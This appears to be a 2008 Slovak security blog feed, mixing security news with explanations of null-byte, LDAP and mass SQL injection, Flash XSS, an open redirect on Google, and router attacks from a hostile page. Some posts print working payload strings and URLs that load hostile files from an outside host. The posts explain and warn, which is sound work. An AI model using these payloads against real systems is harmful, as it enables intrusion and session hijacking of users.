WebProtected

"Zabudli ste heslo?" Hrozia problémy!

noreply@blogger.com (Unknown) — Sun, 28 Sep 2008 14:17:00 +0000

Mnohí z nás pravdepodobne už niekedy zabudli svoje prihlasovacie údaje a aby nestratili svoj účet klikli na známy odkaz "Zabudli ste svoje heslo?", po správnom zadaní mena domáceho miláčika, mena vašej matky za slobodna alebo iných zdanlivo bezpečných kontrolných otázok sa opäť môžete dostať do svojho účtu.

Ale je tu jeden problém, vaše bezpečnostné otázky v súčasnej dobe môže zodpovedať prakticky hocikto. Niektorí ľudia by boli asi nemylo prekvapený, keby zistili ako málo stačí na zodpovedanie identifikačných otázok pri troche tvorivého hľadania. Bezpečnostné otázky na resetovanie hesla su každým dňom čoraz slabším článkom webu. Niekto si asi povie, že útočník pravdepodobne nebude poznať všetky informácie o mne na toľko, aby mohol zodpovedať kontrolné otázky, ibaže ľudia zabúdajú na fakt, že majú tieto údaje roztrúsené kade-tade a je len otázkou času a šikovnosti útočníka, či sa na druhý deň do svojho účtu dostanete. Pekný príklad môže byť najmä medzi mládežou populárny pokec, na ktorom asi nebude veľmi problém zistiť meno psa, výšku, najlepšieho kamaráta, atď. Takto vlastne obeť podstrčí útočníkovi odpovede rovno pred nos.

Celý problém je v tom, že poskytovateľom je jedno, v akom bezpečí sú ich užívatelia (česť výnimkám), hlavne že je tam kontrolná otázka a všetci majú pocit bezpečia... až dokým sa niečo nestane. Bezpečnostná otázka by mala byť tažká pre cudzieho a zároveň ľahká pre majiteľa strateného účtu. Napríklad otázky typu "Máte radi divadlo?". Tieto otázky majú výhodu hlavne v tom, že ich útočník len tažko nájde v nejakej databáze, keďže otázky tohoto typu sa v internetových formuároch takmer nevyskytujú, musí si buď typnúť, poznať obeť na toľko aby ich mohol zodpovedať alebo sa na nich spýtať napríklad cez už spomínaný pokec. Keby takýchto otázok poskytovateľ dal 10 alebo aj 15, percento odcudzených účtov by sa určite znížilo. Ďalším vylepšovákom by mal byť povinný alternatívny email, na ktorý sa vám zašle novo vygenerované heslo, samozrejmosťou je, že záložný email musí mať tiež aspoň priemerné ochranné prvky (O celkovej bezpečnosti našich portálov a ich prístupu k nej asi ani nemusím hovoriť, povedzme, že útočník neovláda iné techniky, za pomoci ktorých by mohol dostať účet pod svoju kontrolu).

Ďalším potenciálnym problémom by mohol byť nájsť kompromis medzi bezpečnosťou a pohodlnosťou. Totiž veľa ľudí aj keď má možnosť si nastaviť väčší počet otázok tak to neurobí, nastaví si jednu a pre ňu najľahšiu. Môj názor je, že treba stále nútiť užívateľov k tomu, aby sa zamysleli nad rizikom, ktoré si týmto spôsobujú a že im nebude veľmi príjemné keď si niekto bude čítať jeho poštu alebo sa vydávať za jeho osobu. Samozrejme, že tieto kritériá treba prispôsobiť portálu, aj keď to z hľadiska bezpečnosti nieje optimálne, dal by som minimálny počet indentifikačných otázok aspon na tých 6-7, nech sa užívateľia učia, že to nie je pre ich otravu, ale pre ich vlastnú bezpečnosť a postupom času keď si tieto fakty uvedomia, budú len radi, že ich poskytovateľ myslí aj na takú vec ako resetovanie hesla.

Samozrejme tieto vylepšenia sú asi ešte pre väčšinu našich portálov v nedohľadne, nakoľko užívateľia nemajú potrebu mať väčšie súkromie a tým pádom poskytovaťeľia nemajú potrebu s tým nič robiť. O tejto téme by sa dalo asi veľa písať. Ja som to len tak trochu načrtol (dufam, že som na nič podstatné nezabudol :-)
Cya!

Bezpečnostné tipy od spoločností Google a AARP

noreply@blogger.com (Unknown) — Thu, 25 Sep 2008 09:02:00 +0000

Čoraz viac a viac sa starší Američania prihlasujú na internet, aby mohli zostať v kontakte so svojou rodinou a priateľmy, surfovať po webových stránkach a blogoch, zdielať fotky, prehliadať si videá alebo spustiť internetový biznis. Tak isto ako všetci užívatelia internetu, aj oni môžu naraziť na nebezpečnú činnosť v podobe rôznych vírusov alebo malwarov.
Práve preto spoločnosť Google v spolupráci s AARP zahájily nové video série, ktoré poskytujú ľahko pochopiteľné rady a tipy ako zostať pri práci s internetom v relatívnom bezpečí. Zahrňuje napríklad odkazy na nastavenie súkromia albumov s fotkami, ktoré sa zdielajú online, konfigurácia firewallu pre ochranu svojho počítača, voľba bezpečných hesiel pre svoje online účty alebo vyhnutie sa podvodom typu phising. Ak rozumiete po anglicky, môžete si prehliadnuť videá na serveri YouTube (The Google Privacy Channel) ako aj na stránkach spoločnosti AARP.
Tu sa môžete pozrieť na prvé video:

Dúfajme, že sa pomocou rád z týchto videí aspoň trochu zvýší povedomie, aká je v dnešnej dobe bezpečnosť na internete dôležitá. Aj keď môj názor je, že to pravdepodobne neosloví ľudí dostatočne na to, aby celkovo bezpečnosť nebrali na ľahkú váhu.

Zdroje: googleblog & webpronews

Google za lepší svet

noreply@blogger.com (Unknown) — Wed, 24 Sep 2008 17:51:00 +0000

Internetový gigant Google najnovšie vytvoril na svoje desiate narodeniny projekt s názvom "Projekt 10¹⁰⁰" . Celý projekt je súťaž, ktorej výherca získa cenu pomocou ktorej pomôže ľuďom z celého sveta. "Hľadáme nápady, ktoré pomôžu čo najväčšiemu počtu ľudí akýmkoľvek spôsobom, aby sme ich my potom mohli financovať." vyhlásila spoločnosť Google.
Ak teda máte originálny alebo unikátny nápad, o ktorom si myslíte, že by mohol nejakým spôsobom pomôct ľuďom, môžte tak učiniť poslaním svojej myšlienky. Google potom vyberie 100 najlepsích nápadov, z pomedzi ktorých verejnosť určí 20 projektov, ktoré postúpia do semi-finálového kola, následovne sa oreže počet až na 5 najlepších projektov, ktoré si podľa všetkého rozdelia 10 miliónov dolárov na ich činnosť.
Určite pekná myšlienka od tejto korporácie, uvidíme aký to bude mať vývoj, v každom prípade som rád, že sa nájdu spoločnosti, ktoré chcú investovať do budúcnosti našej zeme. Na záver ešte pekné video k projektu:

Zdroj: webpronews.com

Radware odhalil kritickú zraniteľnosť v prehliadači Firefox 3

noreply@blogger.com (Unknown) — Wed, 30 Jul 2008 15:19:00 +0000

Objav výskumného týmu Radware SOC (Security Operations Center) poukazuje na zraniteľnosť, ktorá by mohla viesť k spadnutiu systému prehliadača Firefox a následovnej strate akýchkoľvek neuložených informácií. Bezprostrednou ochranou pred touto zraniteľnosťou je Radwarov Security Update Service (SUS), ktorý sa snaží chrániť zákazníkov infraštruktúry v predstihu na odhalené závady.

"Oceňujeme, že Mozilla naďalej výrazne investuje do bezpečnostných vlastností Firefoxu 3, avšak boli sme schopní veľmi ľahko odhaliť túto zraniteľnosť prostredníctvom jednoduchej fuzzing technike." uviedol Itzik Kotler, riaditeľ SOC, Radware. "Toto jasne ukazuje na to, že tvz. "zero-minute" zraniteľnosti môžu byť stále agresívnejšie voči verejným doménam, takže je čoraz viac zrejmé, že bezpečnostné požiadavky musia zostať na poprednom mieste pri tvorbe a uvoľňovaní nových sieťových aplikácií."

Radware takiež určil, že chyba postihuje verziu 3.0 rovnako ako jej menšie aktulizácie (3.0.1)

Pre viac informácií prosím navštívte domovskú stránku Radware.

Microsoft varuje na nové Word útoky

noreply@blogger.com (Unknown) — Thu, 10 Jul 2008 12:35:00 +0000

Microsoft vydal dalšie z bezpečnostných prehlásení týkajúce sa útokov zameraných na aplikáciu Word.Spoločnosť v prehlásení uviedla, že obdržala správy útočníkov zameriavajúcich sa na chyby v .doc súboroch. Predpokladá sa, že tieto útoky v súčasnej dobe niesu veľmi rozšírené.

Útočník by mohol použiť špecálne vytvorený dokument, ktorý spôsobý chybu pretečenia pamäte a následný pád aplikácie. Táto chyba by potom zanechala systém zraniteľným a útočníkovi umožňovala vzdialene spustit nebezpečný kód.

Spoločnosť Microsoft tiež uviedla, že zraniteľnosť sa vyskytuje iba v spojení Word 2002 a Sercice Pack 3. Žiadna iná verzia aplikácie MS Word alebo sady Office by nemala byť náchylná k spomínanému útoku. Spoločnosť taktiež doporučuje okrem inštalácie základných bezpečnostných programov ako napríklad brána firewall alebo antivírusový softvér zvýšiť aj ostražitosť pri otváraní mailov s podozrivými .doc súbormi.

Tento týžden je to už podruhé, čo Microsoft vypustill opravný balík pre chybu, ktorá je aktívne využívaná. V pondelok spoločnosť vydala varovanie o vzdialene spúšťajúcom kóde, ktorý sa upriamuje na prvok ActiveX v Office Acces software.

Zdroj: securecomputing.net

Na obzore čoraz viac zákerných útokov

noreply@blogger.com (Unknown) — Tue, 24 Jun 2008 19:19:00 +0000

Informačné bezpečnostné fórum (ISF) začalo varovať pred zvýšeným nárastom škodlivých hrozieb vrátane útokov z organizovanej trestnej činnosti, priemyselnej špionáži spolu s rastom mobilného malwaru a Web 2.0 zraniteľnosťami. Toto sú len niektoré z prognóz v oblasti informačnej bezpečnosti, ktoré sa budú s najväčšou pravdepodobnosťou v priebehu nasledujúcich rokov stupňovať. Správa označovaná ako Threat Horizon 2010, teda vo voľnom preklade niečo ako výstražný horizont vychádza z praktických skúseností a znalostí členov ISF, zahrňujúcich približne 300 najväčších svetových podnikov a organizácií verejného sektoru.

Andy Jones, hlavný výskumný poradca pre ISF a autor tohoto komentáru: "Zločinecké skupiny v súčasnej dobe vidia online trestnú činnosť ako málo riskantnú a lukratívnu k okrádaniu bánk. S problematikov ochrany veľkého množstva citlivých informácií držaných organizáciami v elektronickej podobe sú tieto podniky tiež pod neustále rastúcou hrozbou špionáže alebo cielenej strate konkurenčných výhod."

Ďalšou rizikovou oblasťou podľa ISF sú sociálne siete, teda stránky ako napríklad Bebo alebo Facebook, ktoré sa stali obľúbenou a populárnou súčasťou mnohých kancelárií. ISF si totiž myslí, že kybernetický kriminálnici si prispôsobia metódy útokov na zraniteľný cieľ , ktorý v tomto prípade môže byť jedna zo stránok sociálnych sietí.

A na záver, ISF správa upozorňuje na riziká v podaní novej techno-generačnej firemnej kultúry poháňanej poväčšine mladšími luďmi. Ohrozený horizont 2010 je jednou z viac než 200 autoritatívnych správ spolu s informačným rizikom a analytických nástrojov, ktoré sú k dispozícií zdarma pre ISF členov.

Viac na net-security

Google modernizuje webový softwarový nástroj

noreply@blogger.com (Unknown) — Wed, 28 May 2008 18:26:00 +0000

Spoločnosť Google plánuje vydať koncom tohoto týždňa takmer finálnu verziu Google Web Toolkit 1.5.GWT 1.5 v aktuálnej podobe obsahuje podporu pre Java 5 a verziu programovacieho jazyka Sun Microsystems vytvoreného v roku 2006.Nový programovací jazyk môže vytvárať software, ktorý beží asi 1,2 až 2 krát rýchlejšie pre komplexné webové aplikácie, povedal Bruce Johnson, technický manažér pre GWT.

Google sa snaží nasmerovať ľudí na web s nádejou v nepriamy zisk za pomoci vyhľadávania v internete, z ktorého má spoločnosť hlavný príjem.Samozrejme je tu niekoľko menšich priamych výnosov, vrátane poplatkov spoločností za používanie online Google aplikácií, ako je napríklad tabuľkový procesor alebo kalendár.

App Engine, ktorý bol odhalený v Apríli a súčasne má približne 60,000 schválených užívateľov je zdarma pre štartovacie aplikácie vyžadujúce 500MB priestor a širokopásmovú sieť na podporu asi piatich miliónov zhľiadnutých stránok za mesiac, povedal Google.

Okrem toho, Google bude účtovať 10 až 12 centov za hodinovú prácu procesoru, plus 15 až 18 centov na gigabyte uloženého priestoru za mesiac, 11 až 13 centov za prenesený gigabyte dát von a 9 až 11 centov za prenesený GB dát dnu.Tieto poplatky sú podobné, ako pri konkurenčnej službe Amazon.

Google Web Toolkit dovoľuje programátorom písať svoj vlastný kód v Jave, ale potom sa tento kód prevádza do jazyku JavaScript, ktorý je vstavaný vo webových prehliadačoch.Ďalšou prednosťou GWT je, že zvládne manipulovať s JavaScriptom vo viacerých prehliadačoch, tvrdí Google.GWT taktiež podporuje väčšinu moderných prehliadačov, vrátane posledných verzií Internetu Explorer, FireFox, Safari (a iné Webkitové prehliadače, ako napríklad iPhone alebo Google Android) a Opera.Podporovanie týchto nových vlastností robý Google Web Toolkit menej rozdielnym od ostatných Java programovacích prostredí, konštatuje Johnson.
Viac informácií na news.cnet.com

Null Byte útoky

noreply@blogger.com (Unknown) — Wed, 14 May 2008 16:59:00 +0000

Null byte útoky na webové stránky alebo niektoré dalšie aplikácie niesu ničím novým.
Tu máme Java aplikáciu, ktorá zobrazuje obrázkový súbor určený užívateľom.

String filename = request.getParameter ( "filename");

if (filename.endsWith(".jpg")) if (filename.endsWith ( ". jpg"))
{ (
File f = new File(filename); Soubor f = new File (filename);
...

Aplikácia sa snaží zaistiť, aby funkciou boli prepustené len JPEG súbory a to kontrolou typu súboru (.jpg).Ak súbor splĺňa tieto požiadavky je odovzdaný konštruktoru java.io.File, ktorý zadaný súbor otvorí.
Rozšírená kontrola môže samozrejme prezradiť tento vstupní formulár:
secret.txt% 00.jpg
kde %oo je URL null byte kódovanie.Funkčnosť útoku sa zakladá na odlišných spôsoboch, v ktorých sú prázdne byty zvyčajne spracúvané v rodnom a riadenom kóde.V rodnom kóde je dĺžka reťazca závislá na pozícii prvého prázdneho bytu (null byte) od začiatku tohoto reťazca- nulový byt účinne skončí reťazec.V riadenom kóde objekty reťazca tvoria znakové pole, ktoré môže obsahovať prázdne byty a záznam o dĺžke reťazca.

Pri vyžšie uvedenom Java kóde String.endsWith () po našom vstupe vie, že meno súboru má 15 znakov dlhý reťazec a skontroluje posledné štyri znaky (po null byte) odpovedajú ".jpg".Avšak keď je meno súboru spracovávané pomocou java.io.File, táto operácia je napokon implementovaná medzi rodný operačný systém API, v ktorom dĺžka reťazca je určená prvým prázdnym bytom po zahájení príslušného reťazca.Teda názov spracovaného súboru nakoniec vypadá takto:
secret.txt
tým pádom je ochrana aplikácie prelomená.
Zaujímavosťou by mohlo byť, že kód v ASP.NET:

String Filename = Request.Params [ "filename"];

if (Filename.EndsWith(".jpg")) if (Filename.EndsWith ( ". jpg"))
{ (
FileStream fs = File.Open(Filename, FileMode.Open); FileStream fs = File.Open (Filename, FileMode.Open);
...

nieje zraniteľní na ten istý typ útoku.Naše zákerné vstupy by len vyvolali výnimku v podobe:

System.ArgumentException:
Znaky niesu povolené!

Pred tým, než je náš vstup odovzdaní súborovému systému API, ASP.NET, skontroluje či reťazec obsahuje akékoľvek neplatné znaky vrátane prázdných bytov, ak áno, prístup sa odoprie.Takto sa ASP.NET v tomto prípade snaží chrániť proti null byte útokom.

Null byte útoky proti LDAP

LDAP je protokol na pýtanie adresárových služieb a v rámci webových aplikácií sa najčastejšie stretávame s funkciou pre vyhľadávanie personálnych adresárov atď. Predpokladajme, že aplikácia nám umožnuje hľadať podľa názvu zamestnanca iba v marketingovom oddelení.Náš vstup je:
Matej
Žiadosť prevádza LDAP otázku s tímto filtrom:
(& (displayName = Matej) (= oddelenie marketingu))
V prípade, že LDAP filter kombinuje viacero logických podmienok, ako tu, booleovský operátor na štarte príde o zoznam podmienok a tak sa vzťahuje na všetky podmienky v tomto zozname.Preto nieje priamy logický " or 1=1" útok v SQL Injection.
Na niektorých platformách LDAP je možné dodávať dva filtre back-to-back pričom druhý filter je ignorovaný.V takejto situácii môžeme použiť následujúci zhotovení vstup k obchádzaniu zakázanej alebo obmedzenej sekcii a samozrejme zobraziť všetky položky v adresáry:
(& (displayName = *))(&( 1 = 1) (= oddelenie marketingu))
Lenže niektoré služby LDAP, obzvlášť Microsoft ADAM (Active Directory Application Mode) netolerujú otázky s dvoma filtrami.Preto ste mohli počuť, že LDAP injekcie do konjuktívnych filtrov nemôžu byť správne využité proti ADAM adresárom.

Zdroj

Traja hackeri obvinený zo sniffovania kreditných kariet

noreply@blogger.com (Unknown) — Tue, 13 May 2008 17:25:00 +0000

Traja medzinárodní hackery boli údajne obžalovaný z používania počítačových a programátorských znalostí za účelom odcudzenia a predaja čísiel kreditných kariet, ktoré vlastnili zákazníci reštaurácie Dave & Buster's.Toto vyhlásenie v pondelok vydal justičný úrad.
U jedného zo zatknutých mužov (Maksym Yastremskiy z Ukrajiny) boli nájdené milióny čísiel odcudzených kreditných kariet, ktoré sa však nevzťahovali k dotyčnej reštaurácii.
Prípad je posledným v moloobchodnej sieti, v ktorej sa hackery dostali do firemných sietí a zachytávali transakcie prevedené kreditnou kartou v reálnom čase.Podobný útok, ale väčších rozmerov bol vykonaný na sieť predajcov obuvi DSW v roku 2005, kde bolo ohrozených 1,4 milióna zákazníkov.Taktiež dlhá infiltrácia maloobchodného gigantu T.J.Maxx spôsobila, že bolo nechránených prinajmenšom 45 miliónov zákazníkov.

Viac info

Masívny SQL Injection

noreply@blogger.com (Unknown) — Sat, 26 Apr 2008 09:01:00 +0000

A je to tu, další v poradí z hromadných SQL Injection útokov, ktorý infikoval tisíce webových stránok.
Výsledok Google vyhľadávania sa pohybuje niekde na hranici 510,000 modifikovaných stránok.

Čím ďalej tým viac webstránok začína používať koncové databázy kôli ich väčšej rýchlosti a dynamike, čo taktiež znamená, že je veľmi rozhodujúce aké data budú uložené do týchto databáz pri vytvorení požiadavky.Obzvlášť vtedy, ak je užívateľovy povolený upload obsahu, ktorý sa môže nachádzať v diskusných fórach, blogoch, atd.
Pokiaľ sa tieto data neošetria ešte pred uložením, nemôžte kontrolovať čo sa bude zobrazovať od užívateľov na stránke.A práve túto slabinu využíva tento typ SQL injekcie.Injekcia kódu vyzerá cca takto (kód nieje úplný):

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300
4C00410052004500200040005400200076006100720063006800610072
00280032003500350029002C0040004300200076006100720063006800
610072002800320035003500290020004400450043004C004100520045
0020005400610062006C0065005F0043007500720073006F0072002000
43005500520053004F005200200046004F0052002000730065006C0065
0063007400200061002E006E0061006D0065002C0062002E006E006100
6D0065002000660072006F006D0020007300790073006F0062006A0065
00630074007300200061002C0073007900730063006F006C0075006D00
6E00730020006200200077006800650072006500200061002E00690064
003D0062002E0069006400200061006E006400200061002E0078007400
7900700065003D00270075002700200061006E0064002000280062002E
00780074007900700065003D003900390020006F007200200062002E00
780074007900700065003D003300350020006…

po dekódovaní:

DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b…

Následkom tejto injekcie sa nájdu všetky texty v databáze a vloží sa do nich link, ktorý odkazuje na zákerný javascript.V zásade sa útočníci obzerajú okolo stránok ASP alebo ASPX obsahujúce nejaký querystring (dynamická hodnota ako napríklad ID čláku, produktu, atd.) parameter použitý k uploadu SQL Injection kódu.
src: f-secure

Google Http Redirection

noreply@blogger.com (Unknown) — Tue, 22 Apr 2008 16:26:00 +0000

Vďaka Googlu môžete svojvoľne robiť redirect (presmerovanie) na zoznam.sk z ó božského google.com :)

Google - zoznam.sk

V podstate môžete urobiť presmerovanie na ktorúkoľvek webovú stránku, http požiadavka vyzerá takto:
http://www.google.com/pagead/iclk?sa=l&ai=FnzbwS&num=67575&adurl=http://zoznam.sk/
Teória je, že Google neoveruje pole ai= alebo num= , tým pádom môžete vkladať prakticky čokoľvek a url bude stále validná.Príklad:
http://www.google.com/pagead/iclk?sa=l&ai=presmerovanie&num=na_zoznam&adurl=http://zoznam.sk/
Tu by sa dal veľmi šikovne zakomponovať aj nejaký download, určite sa s tým dá pekne pohrať.No dúfajme, že Google to v najbližšej dobe "fixne".

XSS zraniteľnosti v Shockwave Flash súboroch

noreply@blogger.com (Unknown) — Tue, 08 Apr 2008 14:52:00 +0000

Kritické zraniteľnosti sú do veľkej miery obsiahnuté používaním publikačných nástrojov (avšak tento problém sa nevsťahuje výhradne na tieto nástroje), ktoré automaticky generujú Shockwave Flash (swf) súbory, ako napríklad Adobe Dreamweaver, Adobe Contribute, Adobe Acrobat Connect, InfoSoft FusionCharts alebo Techsmith Camtasia.A práve webové stránky, ktoré zakladajú na vytváraní swf súborov, sú náchylné k Cross-Site Scriptingu.

XSS

Ako už všetci isto vieme, Cross-site scripting je útok na úživateľa pomocou webovej aplikácie.Ak je webová aplikácia zraniteľná na XSS a útočník naláka užívateľa kliknúť na odkaz k nakazenej webovej aplikácií, potom útočník môže získať úplnú kontrolu nad užívateľským session.Útočník môže vykonať hocijakú JavaScriptovú operáciu vo svoj prospech (napríklad online transakcia v bankovom systéme alebo aj zmena cesty k webstránke (uplatnenie phisingu)).

XSS swf zraniteľnosti

Nanešťastie tieto xss bugy sú vcelku bežnou záležitosťou.Mnoho publikačných nástrojov, ktoré automaticky vytváraju (generujú) swf, vkladajú identický a samozrejme zraniteľný ActionScript do všetkých uložených swf alebo do všetkých kontrolných swf ("save as SWF", "export to SWF", atd.).

Adobe Dreamweaver

"skinName" parameter je akceptovaný Flashovými súbormi vytvorenými pomocou funkcie "Insert Flash Video"."skinName" môže byť použitý k donúteniu obete načítať ľubovoľné URL a to aj vrátane "asfunction" spracovania protokolu:

http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//
Táto záležitosť bola fixnutá v Decembrovom Flash Player release.Navyše, útočník taktiež môže pomocou "skinName" pritlačiť obeť k múru a aplikovať na ňu ľubovoľné SWF vedúce k Cross Site Flashingu (XSF) a XSS útokom:

http://www.example.com/FLVPlayer_Progressive.swf?skinName=http://rcannings.googlepages.com/DoKnowEvil
Oprava bola prevedená v Januáry.Vid Adobe report (Adobe bol kontaktovaný 8. Augusta 8007).

Adobe Acrobat Connect (vrátane Macromedia Breeze)

"main.swf" je kontrolór súborov vo všetkých Connect/Breeze online prezentáciách.Tento SWF je nevhodne schvaľovaný "baseurl" parametrom.Takto pôsobý script injection:

http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//

Toto bolo taktiež opravené v Decembrovom release.Útočník môže použiť "baseurl" za účelom donútenia obete a následovné načítanie ľubovoľného SWF ústiaceho do XSF alebo XSS:

http://www.example.com/main.swf?baseurl=http://rcannings.googlepages.com/DoKnowEvil.swf%3f
Adobe bol kontaktovaný 31. Júla 2007, Adobe report.

InfoSoft FusionCharts

Jedna z týchto záležitostí bola nájdená aj v FusionCharts, konkrétne parameter "dataURL" umožňuje svojvoľné vkladanie HTML do "TextArea".Toto umožňuje útočníkom nahrávať SWF z ostatných domén:

http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//rcannings.googlepages.com/DoKnowEvil.swf%3F.jpg%22%3E

InfoSoft bol s týmto oboznámený 2. Septembra 2007.Release bol vydaný niekedy na konci Septembra.

Autodemo

Autodemo je servisní poskytovaeľ, no nie publikačných nástrojov.Avšak, tak ako publikačné nástroje, aj oni používajú bežné kontrolné súbory v demách."onend" parameter v "control.swf" nahráva ľubovoľné URL vrátane JavaScriptového protokol handleru:

http://www.example.com/control.swf?onend=javascript:alert(1)//
Autodemo bol kontaktovaný 17. Augusta 2007.Fixáciu sme mohli vidieť už v Auguste. Autodemo avšak nieje jediným servisným providerom, ktorý obsahoval XSS vo svojich produktoch, veľké množstvo z nich ani len netušilo, že ich SWF sú zraniteľné.

Zraniteteľnosti v Skype

noreply@blogger.com (Unknown) — Sat, 05 Apr 2008 10:33:00 +0000

Útočný vektor je trochu zamotaný, ale veľmi často vhodný a celkom praktický. Uživateľ jednoducho potrebuje navštíviť DailyMotion (náchylný na Cross-site scripting) a prostredníctvom Skypu pridať tlačítkom video na chat, toto je základná chyba, ktorá obsahuje zraniteľnosť typu Cross-site Scripting. Tento typ scenára môže byť dosiahnutý niekoľkými spôsobmi, ale verím, že väčšina prístupov by bola tiež možná aj sociálnym inžinierstvom na uživateľa alebo spammovanie DailyMotion pomocou stoviek dalších infikovaných videí. Aviv a pdp už o chybe v Skype nazývanej Local Zone vedely už niekoľko mesiacov. Predsalen toto je prvá významnejšia zraniteľnosť, ktorá očividne poukazuje na (ne)bezpečnosť Skypu. Taktiež sa tam nachádzajú dalšie útočné vektory, na ktoré si treba dávať pozor, ajkeď pracujú jedine v sieti, kde útočník môže ovplyvniť komunikáciu (mitm útoky, packet injection na wifi siete, sieťový spoofing, atd.). A tiež mi nedá nespomenúť, že Skypový traffic čiastočne prechádza nezakódovaným kanálom, čo môže mať vážne dôsledky. Nuž, čo z toho všetkého vyplýva? Dávajte si pozor na uploadovanie videí cez Skype pokiaľ túto zraniteľosť ešte nemáte ošetrenú. Nemôžem vám rozkázať aby ste prestali použivať tento sw, ajkeď chyby v článku sú už trochu staršieho dáta, je len na vás čo si z tohto vcelku stručného článku odnesiete..

XSSing siete 2

noreply@blogger.com (Unknown) — Thu, 03 Apr 2008 19:08:00 +0000

Predovšetkým lokálna sieť potrebuje preskúmať "živé" hosty (každý host potrebuje byť zoskenovaný pomocou URL databázy, aby sa mohol detekovať typ a verzia firmwaru). Akonáhle je detekovaný firmware, môžeme naňho uskutočniť vhodný útok. Pokiaľ užívateľ trávi značné množstvo času na nebezpečných stránkach, útok väčšinou nebude mať úspech. Na(ne)šťastie existuje niekoľko dalšich možných útokov, ktoré môžu byť použité na zabezpečenie úspešnej exploitácie.

Webové trójske kone

Predpokladám, že každý viete cca čo to trójsky koník je ( program ktorý sa javí ako úplne neškodný, ale pritom je to zákerná sviňa, ktorá nás má nejakým spôsobom poškodiť). Webové trojany sú používané na vytvorenie určitého dôverného vzťahu s návšetvníkmi. Príklad: útočník môže začleniť do YouTube playeru nebezpečný kód, ktorý sa postará o zvyšok útoku, zatiaľ čo si ho obeť spokojne prehráva. Nebadateľný zákerný kód môže vykonávať bezpečnostný audit lokálnej siete pomocou JavaScriptu, ActionScriptu, Javy, XML, XSLT a tiež kombinovať ich.

Útok na sieť tiež môže byť vykonaný za pomoci Flash-u. Flash 7 má flexibilitu vykonávať cross domény pomocou požiadavky a to bez obmedzenia (Flash 8 je už fixnutý). Útočník potrebuje spraviť iframe vyvolávajúci zraniteľnosť URL za účelom injekcie JavaScriptového kódu v rámci atakovania domény. Keď je toto dosiahnuté , prehliadač umožní XmlHttpRequest bez akéhokoľvek obmedzenia .V AJAX svete, XmlHttpRequest je väčšinou dobre známa technológia na vykonávanie POST, GET, PUT, TRACE, TRACK, atď. Výsledkom toho, útočník môže úspešne bypassnúť(obísť) doménové obmedzenia, ale o tom až niekedy inokedy

src: pdp
Cya!

XSSing siete

noreply@blogger.com (Unknown) — Tue, 01 Apr 2008 20:36:00 +0000

Pokúsim sa okrajovo vysvetliť teóriu routerov/vstupných brán (gateways). Za účelom tohoto cvičenia sú tri nevyhnutné predpoklady ktoré musia byť splnené: stránka, ktorá je kontrolovaná útočníkom (evil.com), router náchylný k XSS a užívateľ navštevujúci evil.com

Akonáhle užívateľ navštívy evil.com, temný JavaScriptový kód vykoná hľadanie v lokálnej LAN, následovne nájde "živé" mašiny a približne určí pozíciu routera. Ihneď ako je router identifikovaný, zákerný skript zobrazí softwarovú verziu. Tento krok môže byť preskočený, ale je to určite dobrá vec ak chce byť napádateľ utajený. Myslím na to, že moderné browsery majú doménové obmedzenia, čo znamená, že efektné AJAX techniky ako napríklad XmlHttpRequest objekty tu jednoducho nepracujú. Útočný vektor objasnily SPI Dynamics, aj keď by mal fungovať vo všetkých prehliadačoch...Medzitým JavaScriptový kód pohltil niekoľko požiadaviek voči routeru pre spoločný image súbor. Rozdielne typy routerov maju rozdielne images, takže je to odlišný postup na identifikáciu serverového softwaru.

V závislosti od nazbieraných výsledkov skenovania procesu, sme pripravený odhaliť narušený XSS tok. Tento XSS tok je používaný zákerným JavaScriptom na zobrazovanie kódu routerovej domény. Tento krok je rozhodujúci. Moderné prehliadače vám neumožňujú vykonať cross doménovej požiadavky, ale pokiaľ to vopred predpokladáme mohli by sme teoreticky využiť nejáku chybu v prehliadači, avšak nieje to príliš čistý postoj...

V každom prípade, JavaScript vytvorý neviditeľný iframe na evil.com, ktorý zo sebou prináša útok. Iframe source obsahuje URL, ktorá využíva XSS tok v routery. Odvtedy má kód účinok na routerovú doménu, ktorá má určitý druh internej IP. To znamená, že zvyšok útoku môže byť konštruovaný od XmlHttpRequest objektov, ktoré poskytujú väčšiu kontrolu vo vstupe aj výstupe.

V záverečnej etape, kód prenesieme pomocou routerového XSS toku vykonávajúceho login a obnovu užívateľa, ktorý je neskôr podrobený vzdialenej "zberni" kontrolovanej úočníkom. Okrem toho by si útočník mohol priať zbúrať bezpečnostný level využitého stroja aby sa mohol opätovne vrátiť...

Rooting verejnej WiFi siete

noreply@blogger.com (Unknown) — Tue, 01 Apr 2008 14:32:00 +0000

Hacking je disciplína, ktorá vyžadaje veľa kreativity a motivácie. Porozumenie príde postupom času so skúsenostiami.

Dnes by som chcel pokryť niektoré zaujímavé útočné vektory, ktoré môžu byť vykonávané ihneď ako útočník dostane prístup k sieti(otvorené WiFi siete a bezplatné WiFi HotSpoty sú v slušnej miere zraniteľné). Neskôr zmieňované útočné techniky sú vyvinuté Petkovými osobnými skúsenoťami s DHCP.

Jano navštívi verejný WiFi HotSpot. Akonáhle je spojený s WiFi sieťou, DHCP správa je medzičasom vymenená za jeho počítač a DHCP server, ktorý má väčšinou nastavenú vstupnú "bránu" defaultne. Na základe toho stavu Ip adresa je rezervovaná pre klienta a mašina je zhodená do siete. Z toho bodu Jano môže vidieť na mašinky pomocou ARP skenovania siete alebo dokonca vykonávanie niektorých pingov (ICMP), keď sieť nieje rozdelená, čo je dosť častý prípad.

Toto nieje nejáko obzvlášť zaujímavé. Ak si budete starostlivo všimať DHCP discover-offer-request-ack dialóg, budete informovaný, že každý paket zasvätený DHCP klientom obsahujúci niekoľko voliteľných oblastí reprezentuje meno klienta. Mnoho sietí/routerov bude spokojne prijímať mená a používať ich ako súčasť svojej DNS služby. Nehovoriac o tom, že DNS lookup-y budú analyzovať Ip adresy, a to je celkom preblém. Konečný záver je teda jasný: útočník môže registrovať hocijaké meno v rámci onej siete. "Aký je potom bezpečnostný problém?" . Verte alebo nie, je to celkom závažný bezpečnostný problém, ktorého pozornosť vzbudil nielen u bezpečnostných technikov.
